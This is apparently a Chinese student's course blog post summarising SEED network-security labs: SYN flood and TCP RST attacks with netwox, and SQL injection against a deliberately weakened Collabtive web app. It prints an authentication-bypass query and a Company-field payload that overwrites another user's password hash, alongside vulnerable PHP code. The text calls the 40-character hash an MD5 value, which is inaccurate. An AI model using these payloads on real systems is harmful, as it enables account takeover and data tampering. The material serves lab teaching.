• 20169201 2016-2017-2 《网络攻防实践》第11周学习总结


    实验一 TCP/IP协议攻击

    SYN 泛洪攻击实验

    查看靶机和攻击机的ip/mac地址

    • 攻击机Kali:

    • 靶机Linux Metasploitabl

    我们先用攻击机连接一下靶机的端口:

    可以看到,连接成功。

    靶机端口状况如下:

    现在对靶机的端口23进行洪泛攻击,此时查看靶机的端口状态:

    实验二 TCP RST攻击实验流程

    用靶机建立和SEED的23端口的连接,利用telnet命令

    打开netwox,调用第78号工具

    在wireshark当中也捕捉到了断开连接的数据包

    实验三 Collabtive 系统 SQL 注入实验

    SQL注入

    SQL注入:SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。

    SQL注入危害

    • 非法读取、篡改、添加、删除数据库中的数据。
    • 盗取用户的各类敏感信息,获取利益。
    • 通过修改数据库来修改网页上的内容。
    • 私自添加或删除账号。
    • 注入木马。

    环境搭建

    禁用Collabtive的若干防护措施,创建了一个容易受到SQL注入攻击的Collabtive版本。
    测试:http://www.sqllabcollabtive.com

    lab1 select语句的sql注入

    查看登陆验证文件:

    sudo vim /var/www/SQL/Collabtive/include/class.user.php
    

    找到其中第375行,构造一个语句,在不知道密码的情况下登陆;

     $sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user ') #' OR email = '$user') AND pass = '$pass'");
    

    lab2 update语句的sql注入

    有一个在这个SQL语句中的SQL注入漏洞;

    sudo vim /var/www/SQL/Collabtive/include/class.user.php
    

    我们可以找到如下的代码

       function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
                  $zip, $gender, $url, $address1, $address2, $state,
                  $country, $tags, $locale, $avatar = "", $rate = 0.0)
        {
        $name = mysql_real_escape_string($name);
        $realname = mysql_real_escape_string($realname);
    
        //modified for SQL Lab
        //$company = mysql_real_escape_string($company);
        $email = mysql_real_escape_string($email);
    
        // further escaped parameters removed for brevity...
    
        $rate = (float) $rate;
        $id = (int) $id;
    
        if ($avatar != "")
            {
                $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                                    tel1='$tel1', tel2='$tel2', company='$company',
                                    zip='$zip', gender='$gender', url='$url',
                                    adress='$address1', adress2='$address2',
                                    state='$state', country='$country',
                                    tags='$tags', locale='$locale',
                                    avatar='$avatar', rate='$rate' WHERE ID = $id");
            }
        else
            {
                // same query as above minus setting avatar; removed for
                // brevity
            }
        if ($upd)
            {
                $this->mylog->add($name, 'user', 2, 0);
                return true;
            }
        else
            {
                return false;
            }
        }
    

    这样我们就可以越权来修改其他用户的信息及密码;我们使用任意用户,如: bob bob 进行登录;

    在编辑用户的位置:user 填 ted 用户;

    Company 处填:

    ', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '
    

    注:这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的md5值;
    点击修改,然后我们退出当前用户,使用ted用户登录,密码:pass

  • 相关阅读:
    在jQuery ajax中按钮button和submit的区别分析
    jQuery学习-打字游戏
    AndroidManifest.xml权限大全
    判断数据连接----小程序
    ADB常用的几个命令
    Android的ADB配置环境和adb指令使用
    读懂Android项目结构目录
    Android四大组件
    多态继承
    匿名内部类
  • 原文地址:https://www.cnblogs.com/tcle/p/6836575.html
Copyright © 2020-2023  润新知